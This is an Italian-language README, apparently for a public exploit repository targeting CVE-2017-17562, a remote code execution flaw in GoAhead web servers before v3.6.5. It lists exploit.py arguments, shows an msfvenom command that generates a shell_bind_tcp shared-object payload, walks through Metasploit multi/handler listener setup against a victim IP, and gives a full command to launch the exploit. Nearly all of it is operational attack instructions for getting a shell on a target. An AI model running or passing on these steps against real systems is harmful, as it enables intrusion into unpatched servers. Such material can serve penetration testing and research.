nu11pointer/goahead-rce-exploitExploit per la vulnerabilità CVE-2017-17562, che permette RCE su GoAhead (< v3.6.5) se il CGI è abilitato e un programma CGI è collegato dinamicamente.
Exploit per la vulnerabilità CVE-2017-17562, che consente RCE su GoAhead (< v3.6.5) se CGI è abilitato e un programma CGI è collegato dinamicamente.
$ python3 exploit.py [-h] --host HOST --port PORT --payload PAYLOAD [--ssl] [--cgi CGI]
$ python3 -m pip install -r requirements.txt
È necessario generare il payload e configurare prima la connessione in ascolto.
Esempio:
(Attaccante: 192.168.1.100 - Vittima: 192.168.1.200)
$ msfvenom -a x64 --platform Linux -p generic/shell_bind_tcp LHOST=192.168.1.100 LPORT=1337 -f elf-so -o payload.so
$ msfconsole
msf6 > use multi/handler
msf6 exploit(multi/handler) > set payload generic/shell_bind_tcp
msf6 exploit(multi/handler) > set LPORT=1337
msf6 exploit(multi/handler) > set RHOST=192.168.1.200
msf6 exploit(multi/handler) > run
[*] Started bind TCP handler against 192.168.1.200:1337
Quindi, in un'altra shell, è necessario eseguire questo exploit per inviare il payload che avvierà la connessione inversa verso l'ascoltatore!
Argomenti obbligatori:
--host HOST Host che esegue il server web GoAhead.
--port PORT Porta su cui è in esecuzione il server web GoAhead. Default: 80
--payload PAYLOAD Percorso del payload.
Argomenti opzionali:
--ssl L'host utilizza SSL.
--cgi LIST Elenco di percorsi per scoprire lo script CGI sul server GoAhead. Default: paths.lst
$ python3 exploit.py --host 192.168.1.200 --port 8080 --cgi custom_list.txt --payload payload.so --ssl